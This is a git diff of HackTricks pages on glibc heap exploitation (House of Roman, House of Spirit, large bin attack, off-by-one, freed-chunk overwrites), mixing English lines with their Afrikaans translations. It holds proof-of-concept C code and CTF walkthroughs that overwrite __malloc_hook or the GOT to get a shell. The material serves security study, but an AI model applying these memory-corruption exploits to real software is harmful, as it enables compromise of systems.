For this we start getting a chunk and putting it into the **unsorted bin**:
Maar basies laat dit jou toe om `main_arena + 0x68` na enige plek te skryf soos gespesifiseer in `chunk->bk`. En vir die aanval kies ons `__malloc_hook`. Dan, nadat ons dit oorgeskryf het, sal ons 'n relatiewe oorskrywing gebruik om na 'n `one_gadget` te wys.
Vir hierdie begin ons om 'n chunk te kry en dit in die **unsorted bin** te plaas:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
Gebruik 'n UAF in hierdie stuk om `unsorted_bin_ptr->bk` na die adres van `__malloc_hook` te wys (ons het dit voorheen brute-forced).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> Let daarop dat hierdie aanval die onsorted bin korrupteer (dus klein en groot ook). So ons kan slegs **toewysings van die vinnige bin gebruik** (n 'n meer komplekse program mag ander toewysings doen en crash), en om dit te aktiveer moet ons **die selfde grootte toewys** of die program sal crash.
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
So, om die skrywe van `main_arena + 0x68` in `__malloc_hook` te aktiveer, voer ons na die instelling van `__malloc_hook` in `unsorted_bin_ptr->bk` eenvoudig uit: **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system
### Stap 3: Stel \_\_malloc_hook na system
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
In die eerste stap het ons 'n chunk wat `__malloc_hook` bevat, beheer (in die veranderlike `malloc_hook_chunk`) en in die tweede stap het ons daarin geslaag om `main_arena + 0x68` te skryf.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
Nou misbruik ons 'n gedeeltelike oorskrywing in `malloc_hook_chunk` om die libc adres wat ons daar geskryf het (`main_arena + 0x68`) te gebruik om **na 'n `one_gadget` adres te wys**.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Hier is waar dit nodig is om **12 bits van ewekansigheid te brute-force** (meer inligting in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ voorbeeld](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
Laastens, sodra die korrekte adres oorgeskryf is, **roep `malloc` aan en aktiveer die `one_gadget`**.
## References
## Verwysings
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
### Code
### Kode
<details>
<summary>House of Spirit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### Doel
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- In staat wees om 'n adres in die tcache / fast bin by te voeg sodat dit later moontlik is om dit toe te ken
### Requirements
### Vereistes
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- Hierdie aanval vereis dat 'n aanvaller in staat is om 'n paar vals vinnige stukke te skep wat die grootte waarde daarvan korrek aandui en dan in staat wees om die eerste vals stuk vry te stel sodat dit in die bin kom.
### Attack
### Aanval
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- Skep vals stukke wat sekuriteitskontroles omseil: jy sal 2 vals stukke nodig hê wat basies die korrekte groottes op die korrekte plekke aandui
- Op een of ander manier die eerste vals stuk vrystel sodat dit in die fast of tcache bin kom en dan dit toe te ken om daardie adres te oorskryf
**Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is wonderlik om die aanval te verstaan.** Alhoewel hierdie skema van die kode dit redelik goed opsom:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> Let daarop dat dit nodig is om die tweede stuk te skep om 'n paar sanity checks te omseil.
## Examples
## Voorbeelde
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak**: Deur 'n overflow is dit moontlik om 'n pointer te verander om na 'n GOT adres te wys om 'n libc adres via die lees aksie van die CTF te lek.
- **House of Spirit**: Deur 'n teen te misbruik wat die aantal "gewere" tel, is dit moontlik om 'n vals grootte van die eerste vals stuk te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n stuk te vals en uiteindelik deur 'n overflow is dit moontlik om 'n pointer te verander wat vrygestel gaan word sodat ons eerste vals stuk vrygestel word. Dan kan ons dit toewys en binne-in daarvan gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om dit na die `scanf` ingang binne die GOT tabel te laat wys, sodat ons dit kan oorskryf met die adres na system.\
Volgende keer dat `scanf` aangeroep word, kan ons die invoer `"/bin/sh"` stuur en 'n shell kry.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak**: Ongeïnitialiseerde stapelbuffer.
- **House of Spirit**: Ons kan die eerste indeks van 'n globale reeks van heap pointers verander. Met 'n enkele byte verandering, gebruik ons `free` op 'n vals stuk binne 'n geldige stuk, sodat ons 'n oorvleueling van stukke situasie kry nadat ons weer toewys. Met dit werk 'n eenvoudige Tcache vergiftiging aanval om 'n arbitrêre skrywe primitief te verkry.
## References
## Verwysings
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -1,58 +1,56 @@
# Large Bin Attack
# Groot Bin Aanval
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
For more information about what is a large bin check this page:
Vir meer inligting oor wat 'n groot bin is, kyk na hierdie bladsy:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Dit is moontlik om 'n uitstekende voorbeeld te vind in [**how2heap - groot bin aanval**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
Basies kan jy hier sien hoe, in die nuutste "huidige" weergawe van glibc (2.35), dit nie nagegaan word nie: **`P->bk_nextsize`** wat dit moontlik maak om 'n arbitrêre adres te verander met die waarde van 'n groot bin stuk as sekere voorwaardes nagekom word.
In that example you can find the following conditions:
In daardie voorbeeld kan jy die volgende voorwaardes vind:
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- 'n Groot stuk word toegeken
- 'n Groot stuk kleiner as die eerste een, maar in dieselfde indeks, word toegeken
- Dit moet kleiner wees sodat dit eerste in die bin moet gaan
- (Een stuk om te voorkom dat dit met die boonste stuk saamgevoeg word, word geskep)
- Dan word die eerste groot stuk vrygestel en 'n nuwe stuk groter as dit word toegeken -> Stuk1 gaan na die groot bin
- Dan word die tweede groot stuk vrygestel
- Nou, die kwesbaarheid: Die aanvaller kan `chunk1->bk_nextsize` verander na `[target-0x20]`
- Dan word 'n groter stuk as stuk 2 toegeken, sodat stuk2 in die groot bin ingevoeg word wat die adres `chunk1->bk_nextsize->fd_nextsize` met die adres van stuk2 oorskryf
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
> Daar is ander potensiële scenario's, die ding is om 'n stuk wat **kleiner** is as 'n huidige X stuk in die bin by die groot bin te voeg, sodat dit net voor dit in die bin ingevoeg moet word, en ons moet in staat wees om X se **`bk_nextsize`** te verander, aangesien dit is waar die adres van die kleiner stuk geskryf sal word.
Dit is die relevante kode van malloc. Kommentaar is bygevoeg om beter te verstaan hoe die adres oorgeskryf is:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Dit kan gebruik word om die **`global_max_fast` globale veranderlike** van libc te oorskry om dan 'n vinnige bin-aanval met groter stukke te ontgin.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
Jy kan 'n ander uitstekende verduideliking van hierdie aanval vind in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### Ander voorbeelde
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- Groot bin-aanval in dieselfde situasie soos dit verskyn in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- Die skryf primitief is meer kompleks, omdat `global_max_fast` hier nutteloos is.
- FSOP is nodig om die ontginning te voltooi.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,112 +4,110 @@
## Basic Information
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
Om net toegang te hê tot 'n 1B overflow laat 'n aanvaller toe om die `size` veld van die volgende chunk te verander. Dit maak dit moontlik om te manipuleer watter chunks werklik vrygestel word, wat potensieel 'n chunk kan genereer wat 'n ander wettige chunk bevat. Die uitbuiting is soortgelyk aan [double free](double-free.md) of oorvleuelende chunks.
There are 2 types of off by one vulnerabilities:
Daar is 2 tipes off by one kwesbaarhede:
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- Arbitrêre byte: Hierdie tipe laat toe om daardie byte met enige waarde te oorskryf
- Null byte (off-by-null): Hierdie tipe laat toe om daardie byte slegs met 0x00 te oorskryf
- 'n Algemene voorbeeld van hierdie kwesbaarheid kan gesien word in die volgende kode waar die gedrag van `strlen` en `strcpy` onbestendig is, wat dit moontlik maak om 'n 0x00 byte aan die begin van die volgende chunk in te stel.
- Dit kan uitgebruik word met die [House of Einherjar](house-of-einherjar.md).
- As Tcache gebruik word, kan dit benut word vir 'n [double free](double-free.md) situasie.
<details>
<summary>Off-by-null</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
Onder andere kontroles, nou wanneer 'n stuk vry is, word die vorige grootte vergelyk met die grootte wat in die metadata se stuk gekonfigureer is, wat hierdie aanval redelik kompleks maak vanaf weergawe 2.28.
### Code example:
### Kode voorbeeld:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- Hierdie aanval werk nie meer nie weens die gebruik van Tcaches.
- Boonop, as jy probeer om dit te misbruik met groter stukke (sodat tcaches nie betrokke is nie), sal jy die fout kry: `malloc(): invalid next size (unsorted)`
### Goal
### Doel
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- Maak 'n stuk ingesluit binne 'n ander stuk sodat skrywe toegang oor daardie tweede stuk toelaat om die ingeslote een te oorskry
### Requirements
### Vereistes
- Off by one overflow to modify the size metadata information
- Off by one overflow om die grootte metadata inligting te wysig
### General off-by-one attack
### Algemene off-by-one aanval
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- Allokeer drie stukke `A`, `B` en `C` (sê groottes 0x20), en nog een om konsolidasie met die top-stuk te voorkom.
- Vry `C` (ingevoeg in 0x20 Tcache vrylys).
- Gebruik stuk `A` om oor te vloei op `B`. Misbruik off-by-one om die `size` veld van `B` van 0x21 na 0x41 te wysig.
- Nou het ons `B` wat die vrye stuk `C` bevat
- Vry `B` en allokeer 'n 0x40 stuk (dit sal hier weer geplaas word)
- Ons kan die `fd` pointer van `C` wysig, wat steeds vry is (Tcache vergiftiging)
### Off-by-null attack
### Off-by-null aanval
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- 3 stukke geheue (a, b, c) word een na die ander gereserveer. Dan word die middelste een vrygestel. Die eerste een bevat 'n off by one overflow kwesbaarheid en die aanvaller misbruik dit met 'n 0x00 (as die vorige byte 0x10 was, sou dit die middelste stuk aandui dat dit 0x10 kleiner is as wat dit werklik is).
- Dan, 2 meer kleiner stukke word in die middel vrygestelde stuk (b) allokeer, egter, aangesien `b + b->size` nooit die c stuk opdateer nie omdat die aangeduide adres kleiner is as wat dit moet wees.
- Dan, b1 en c word vrygestel. Aangesien `c - c->prev_size` steeds na b (b1 nou) wys, word albei in een stuk gekonsolideer. egter, b2 is steeds binne tussen b1 en c.
- Laastens, 'n nuwe malloc word uitgevoer wat hierdie geheuegebied herwin wat eintlik b2 gaan bevat, wat die eienaar van die nuwe malloc toelaat om die inhoud van b2 te beheer.
This image explains perfectly the attack:
Hierdie beeld verduidelik perfek die aanval:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- Off-by-one weens `strlen` wat die volgende stuk se `size` veld oorweeg.
- Tcache word gebruik, so 'n algemene off-by-one aanval werk om 'n arbitrêre skrywe primitief met Tcache vergiftiging te verkry.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- Dit is moontlik om 'n off by one te misbruik om 'n adres van die heap te lek omdat die byte 0x00 aan die einde van 'n string oorgeskryf word deur die volgende veld.
- Arbitrêre skrywe word verkry deur die off by one skrywe te misbruik om die pointer na 'n ander plek te laat wys waar 'n valse struktuur met valse pointers gebou sal word. Dan is dit moontlik om die pointer van hierdie struktuur te volg om arbitrêre skrywe te verkry.
- Die libc adres word gelek omdat as die heap met mmap uitgebrei word, die geheue wat deur mmap allokeer 'n vaste offset van libc het.
- Laastens word die arbitrêre skrywe misbruik om in die adres van \_\_free_hook te skryf met 'n een gadget.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- Daar is 'n NULL off by one kwesbaarheid in die `getline` funksie wat gebruikersinvoer lyne lees. Hierdie funksie word gebruik om die "sleutel" van die inhoud te lees en nie die inhoud nie.
- In die skrywe word 5 aanvanklike stukke geskep:
- stuk1 (0x200)
- stuk2 (0x50)
- stuk5 (0x68)
- stuk3 (0x1f8)
- stuk4 (0xf0)
- stuk verdediging (0x400) om te verhoed dat dit met die top stuk konsolideer
- Dan word stuk 1, 5 en 3 vrygestel, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Dan, deur stuk3 (0x1f8) te misbruik, word die null off-by-one misbruik deur die prev_size na `0x4e0` te skryf.
- Let op hoe die groottes van die aanvanklike toegekende stukke 1, 2, 5 en 3 plus die koppe van 4 van daardie stukke gelyk is aan `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Dan, stuk 4 word vrygestel, wat 'n stuk genereer wat al die stukke tot by die begin verbruik:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Dan, word `0x200` bytes toegeken wat die oorspronklike stuk 1 vul
- En nog 'n 0x200 bytes word toegeken en stuk 2 word vernietig en daarom is daar geen lek nie en dit werk nie? Miskien moet dit nie gedoen word nie
- Dan, word 'n ander stuk met 0x58 "a"s toegeken (wat stuk 2 oorgeskryf en stuk 5 bereik) en die `fd` van die vinnige bin stuk van stuk 5 word gewysig om na `__malloc_hook` te wys
- Dan, word 'n stuk van 0x68 toegeken sodat die valse vinnige bin stuk in `__malloc_hook` die volgende vinnige bin stuk is
- Laastens, word 'n nuwe vinnige bin stuk van 0x68 toegeken en `__malloc_hook` word oorgeskryf met 'n `one_gadget` adres
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# Oorskrywing van 'n vrygestelde stuk
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
Verskeie van die voorgestelde heap-uitbuitingstegnieke moet in staat wees om wysigers binne vrygestelde stukke te oorskryf. Die doel van hierdie bladsy is om die potensiële kwesbaarhede wat hierdie toegang kan verleen, saam te vat:
### Simple Use After Free
### Eenvoudige Gebruik Na Vry
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
As dit moontlik is vir die aanvaller om **in 'n vrygestelde stuk te skryf**, kan hulle dit misbruik om die nodige wysigers te oorskryf.
### Double Free
### Dubbele Vry
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
As die aanvaller **`free` dieselfde stuk twee keer** kan maak (vry ander stukke tussenin moontlik) en dit **2 keer in dieselfde bin** kan laat wees, sal dit moontlik wees vir die gebruiker om die **stuk later toe te ken**, **die nodige wysigers te skryf** en dan **dit weer toe te ken**, wat die aksies van die stuk wat toegeken word, sal aktiveer (bv. vinnige bin-aanval, tcache-aanval...)
### Heap Overflow
### Heap Oorloop
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
Dit mag moontlik wees om **'n toegeken stuk te oorloop wat 'n vrygestelde stuk het** en sommige kopstukke/wysigers daarvan te wysig.
### Off-by-one overflow
### Off-by-one oorloop
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
